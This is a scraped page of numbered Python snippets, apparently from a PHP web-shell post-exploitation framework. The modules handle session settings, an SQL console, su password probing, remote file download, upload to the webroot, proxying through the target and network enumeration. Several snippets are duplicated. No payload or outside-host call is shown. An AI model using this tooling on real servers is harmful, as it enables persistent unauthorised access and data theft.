                log.warn(messages.module_sql_console.missing_sql_trailer_s %
                         command_last_chars)
Esempio n. 38
0
    def run(self, args):

        # Call raw ifconfig from $PATH and return it
        result = self._get_ifconfig_result("ifconfig")
        if result: return result

        # Is usually not in $PATH cause is suid. Enumerating paths.
        ifconfig_paths = ModuleExec('file_enum', [
            '%sifconfig' % x for x in [
                '/sbin/', '/bin/', '/usr/bin/', '/usr/sbin/',
                '/usr/local/bin/', '/usr/local/sbin/'
            ]
        ]).run()

        for path in ifconfig_paths:
            result = self._get_ifconfig_result(path)
            if result: return result

        log.warn(messages.module_net_ifconfig.failed_retrieve_info)
Esempio n. 39
0
    def do_set(self, line):
        """Command "set" to set session variables."""

        try:
            args = shlex.split(line)
        except Exception as e:
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        # Print all settings that startswith args[0]
        if len(args) < 2:
            self.session.print_to_user(args[0] if args else '')

        # Set the setting
        else:
            if len(args) > 2:
                args[1] = ' '.join(args[1:])

            self.session.set(args[0], args[1])
Esempio n. 40
0
    def do_request(self):

        if self.command == 'CONNECT' or self.path.startswith('https'):
            log.warn(messages.module_net_proxy.https_not_implemented)
            self.requestline = ''
            self.request_version = ''
            self.command = ''
            self.send_error(
                501,
                messages.module_net_proxy.https_not_implemented
            )
            return

        net_curl_args = [
            self.path,
            '-X',
            self.command,
            '-i'
        ]

        for h in self.headers:
            if h.title() in ('Keep-Alive', 'Proxy-Connection', 'Connection'):
                continue
            net_curl_args += [ '-H', '%s: %s' % ( h.title(), self.headers[h] ) ]

        net_curl_args += [ '-H', 'Proxy-Connection: close' ]

        if self.command == 'POST':
            content_len = int(self.headers.getheader('content-length', 0))
            net_curl_args += [ '-d', self.rfile.read(content_len) ]

        result, headers, saved = ModuleExec(
            'net_curl',
            net_curl_args
        ).run()

        dlog.debug('> ' + '\r\n> '.join([ '%s: %s' % (h.title(), self.headers[h]) for h in self.headers ]))
        dlog.debug('< ' + '\r\n< '.join(headers))

        self.wfile.write('\r\n'.join(headers))
        self.wfile.write('\r\n\r\n')
        self.wfile.write(result)
Esempio n. 41
0
    def run(self):

        if self.args.get('z'):
            ModuleExec('file_gzip', [ '--keep', '--decompress', self.args['rtar'] ]).run()
            self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1])
        elif self.args.get('j'):
            ModuleExec('file_bzip2', [ '--keep', '--decompress', self.args['rtar'] ]).run()
            self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1])

        # The correct execution returns something only on errors
        result_err = self.vectors.get_result(
            name = 'php_tar',
            format_args = self.args,
        )

        if result_err:
            log.warn(result_err)
            return

        return True
Esempio n. 42
0
    def set(self, module_argument, value):
        """Called by user to set or show the session variables"""

        # I safely evaluate the value type to avoid to save only
        # strings type. Dirty but effective.
        # TODO: the actual type of the argument could be acquired
        # from modules[module].argparser.
        try:
            value = ast.literal_eval(value)
        except Exception as e:
            # If is not evalued, just keep it as string
            pass

        # If action_<module_argument> function exists, trigger the action
        action_name = 'action_%s' % (module_argument.replace('.', '_'))
        if hasattr(self, action_name):
            action_func = getattr(self, action_name)
            if hasattr(action_func, '__call__'):
                action_func(module_argument, value)

        if module_argument.count('.') == 1:
            module_name, arg_name = module_argument.split('.')
            if arg_name not in self[module_name]['stored_args']:
                log.warn(messages.sessions.error_storing_s_not_found %
                         ('%s.%s' % (module_name, arg_name)))
            else:
                self[module_name]['stored_args'][arg_name] = value
                log.info("%s.%s = '%s'" % (module_name, arg_name, value))
        else:
            module_name = module_argument
            if module_name not in self or module_name not in set_filters:
                log.warn(messages.sessions.error_storing_s_not_found %
                         (module_name))
            else:
                self[module_name] = value
                log.info("%s = %s" % (module_name, value))

                # If the channel is changed, the basic shell_php is moved
                # to IDLE and must be setup again.
                if module_name == 'channel':
                    self['shell_php']['status'] = Status.IDLE
Esempio n. 43
0
    def run(self, args):

        # The vector name is given by the db type
        vector = args.get('dbms')

        # And by the user and password presence
        vector += (
                    '' if args.get('user') and args.get('passwd')
                    else '_fallback'
                )

        # If the query is set, just execute it
        if args.get('query'):
            return self._query(vector, args)

        # Else, start the console.
        # Check credentials
        args['query'] = (
                    'SELECT USER;' if vector.startswith('pgsql')
                    else 'SELECT USER();'
                )

        user = self._query(vector, args)
        if not user:
            log.warn(messages.module_sql_console.check_credentials)
            return

        if user[0]:
            user = user[0][0]
        
        # Console loop
        while True:

            query = raw_input('%s SQL> ' % user).strip()

            if not query: continue
            if query == 'quit': break

            args['query'] = query
            result = self._query(vector, args)
            self.print_result(result)
Esempio n. 44
0
    def do_set(self, line, cmd):
        """Command "set" to set session variables."""

        try:
            args = shlex.split(line)
        except Exception as e:
            import traceback
            log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        # Print all settings that startswith args[0]
        if len(args) < 2:
            self.session.print_to_user(args[0] if args else '')

        # Set the setting
        else:
            if len(args) > 2:
                args[1] = ' '.join(args[1:])

            self.session.set(args[0], args[1])
Esempio n. 45
0
    def print_result(self, result):

        if result['error']:
            log.info(result['error'])

        if result['result']:
            Module.print_result(self, result['result'])

        elif not result['error']:

            log.warn('%s %s' % (messages.module_sql_console.no_data,
                                messages.module_sql_console.check_credentials)
                    )

            command_last_chars = utils.prettify.shorten(
                                    self.args['query'].rstrip(),
                                    keep_trailer = 10
            )

            if (command_last_chars and command_last_chars[-1] != ';'):
                log.warn(messages.module_sql_console.missing_sql_trailer_s % command_last_chars)
Esempio n. 46
0
    def set(self, module_argument, value):
        """Called by user to set or show the session variables"""

        # I safely evaluate the value type to avoid to save only
        # strings type. Dirty but effective.
        # TODO: the actual type of the argument could be acquired
        # from modules[module].argparser.
        try:
            value = ast.literal_eval(value)
        except Exception as e:
            # If is not evalued, just keep it as string
            pass

        # If action_<module_argument> function exists, trigger the action
        action_name = 'action_%s' % (module_argument.replace('.','_'))
        if hasattr(self, action_name):
            action_func = getattr(self, action_name)
            if hasattr(action_func, '__call__'):
                action_func(module_argument, value)

        if module_argument.count('.') == 1:
            module_name, arg_name = module_argument.split('.')
            if arg_name not in self[module_name]['stored_args']:
                log.warn(messages.sessions.error_storing_s_not_found % ( '%s.%s' % (module_name, arg_name) ))
            else:
                self[module_name]['stored_args'][arg_name] = value
                log.info("%s.%s = '%s'" % (module_name, arg_name, value))
        else:
            module_name = module_argument
            if module_name not in self or module_name not in set_filters:
                log.warn(messages.sessions.error_storing_s_not_found % (module_name))
            else:
                self[module_name] = value
                log.info("%s = %s" % (module_name, value))

                # If the channel is changed, the basic shell_php is moved
                # to IDLE and must be setup again.
                if module_name == 'channel':
                    self['shell_php']['status'] = Status.IDLE
Esempio n. 47
0
    def _map_folder2web(self, relative_path_folder='.'):

        absolute_path = ModuleExec('file_check',
                                   [relative_path_folder, 'abspath']).run()

        if not absolute_path:
            log.warn(messages.module_file_upload2web.failed_resolve_path)
            return None, None

        if not absolute_path.startswith(self.base_folder_path.rstrip('/')):
            log.warn(
                messages.module_file_upload2web.error_s_not_under_webroot_s %
                (absolute_path, self.base_folder_path.rstrip('/')))
            return None, None

        relative_to_webroot_path = absolute_path.replace(
            self.base_folder_path, '')

        url_folder = '%s/%s' % (self.base_folder_url.rstrip('/'),
                                relative_to_webroot_path.lstrip('/'))

        return absolute_path, url_folder
Esempio n. 48
0
    def run(self):

        if self.args.get('z'):
            ModuleExec('file_gzip',
                       ['--keep', '--decompress', self.args['rtar']]).run()
            self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1])
        elif self.args.get('j'):
            ModuleExec('file_bzip2',
                       ['--keep', '--decompress', self.args['rtar']]).run()
            self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1])

        # The correct execution returns something only on errors
        result_err = self.vectors.get_result(
            name='php_tar',
            format_args=self.args,
        )

        if result_err:
            log.warn(result_err)
            return

        return True
Esempio n. 49
0
    def run(self):

        # Check remote file existance
        if not ModuleExec('file_check',
                          [self.args.get('rpath'), 'readable']).run():
            log.warn(messages.module_file_download.failed_download_file)
            return

        # Get the remote file MD5. If this is not available, still do a basic check
        # to see if the output is decodable as base64 string.
        expected_md5 = ModuleExec('file_check',
                                  [self.args.get('rpath'), 'md5']).run()
        if expected_md5:
            check_md5 = lambda r: hashlib.md5(base64.b64decode(r)).hexdigest(
            ) == expected_md5
        else:
            log.debug(messages.module_file_download.skipping_md5_check)
            check_md5 = lambda r: bool(base64.b64decode(r))

        # Find the first vector that satisfy the md5 check
        vector_name, result = self.vectors.find_first_result(
            format_args=self.args, condition=check_md5)

        # Check if find_first_result failed
        if not vector_name:
            log.warn(messages.module_file_download.failed_download_file)
            return

        # Dump to local file
        lpath = self.args.get('lpath')

        try:
            result_decoded = base64.b64decode(result)
            open(lpath, 'wb').write(result_decoded)
        except Exception, e:
            log.warning(messages.generic.error_loading_file_s_s %
                        (lpath, str(e)))
            return
Esempio n. 50
0
    def setup(self):
        """Probe all vectors to find a working su command.

        The method run_until is not used due to the check of shell_sh
        enabling for every tested vector.

        Args:
            self.args: The dictionary of arguments

        Returns:
            Status value, must be Status.RUN, Status.FAIL, or Status.IDLE.

        """

        args_check = {
           'user' : self.args['user'],
           'passwd' : self.args['passwd'],
           'command' : 'whoami'
        }

        (vector_name,
         result) = self.vectors.find_first_result(
          names = [ self.args.get('vector', '') ],
            format_args = args_check,
            condition = lambda result: (
                # Stop if shell_sh is in FAIL state
                self.session['shell_sh']['status'] == Status.FAIL or
                # Or if the result is correct
                self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user']
                )
            )

        if self.session['shell_sh']['status'] == Status.RUN and result and result.rstrip() == self.args['user']:
            self.session['shell_su']['stored_args']['vector'] = vector_name
            return Status.RUN
        else:
            log.warn(messages.module_shell_su.error_su_executing)
            return Status.IDLE
Esempio n. 51
0
    def setup(self):
        """Probe all vectors to find a working su command.

        The method run_until is not used due to the check of shell_sh
        enabling for every tested vector.

        Args:
            self.args: The dictionary of arguments

        Returns:
            Status value, must be Status.RUN, Status.FAIL, or Status.IDLE.

        """

        args_check = {
            'user': self.args['user'],
            'passwd': self.args['passwd'],
            'command': 'whoami'
        }

        (vector_name, result) = self.vectors.find_first_result(
            names=[self.args.get('vector', '')],
            format_args=args_check,
            condition=lambda result: (
                # Stop if shell_sh is in FAIL state
                self.session['shell_sh']['status'] == Status.FAIL or
                # Or if the result is correct
                self.session['shell_sh']['status'] == Status.RUN and result and
                result.rstrip() == self.args['user']))

        if self.session['shell_sh'][
                'status'] == Status.RUN and result and result.rstrip(
                ) == self.args['user']:
            self.session['shell_su']['stored_args']['vector'] = vector_name
            return Status.RUN
        else:
            log.warn(messages.module_shell_su.error_su_executing)
            return Status.IDLE
Esempio n. 52
0
    def run(self):

        results = {}

        for func_name in [
                            # Execute every function starting with check_*
                            fn for fn in self.check_functions
                            # if the user does not specify any name
                            if not self.args.get('check')
                            # of if specify the current function name
                            or self.args.get('check') == fn
                        ]:

            function = getattr(self, func_name)
            log.warn(function.__doc__)

            result = function()

            if result:
                log.info('\n'.join(result))
                results.update({ func_name : result })

        return results
    def run(self, args):

        results = {}

        for func_name in [
                            # Execute every function starting with check_*
                            fn for fn in self.check_functions
                            # if the user does not specify any name
                            if not args.get('check')
                            # of if specify the current function name
                            or args.get('check') == fn
                        ]:

            function = getattr(self, func_name)
            log.warn(function.__doc__)

            result = function()

            if result:
                log.info('\n'.join(result))
                results.update({ func_name : result })

        return results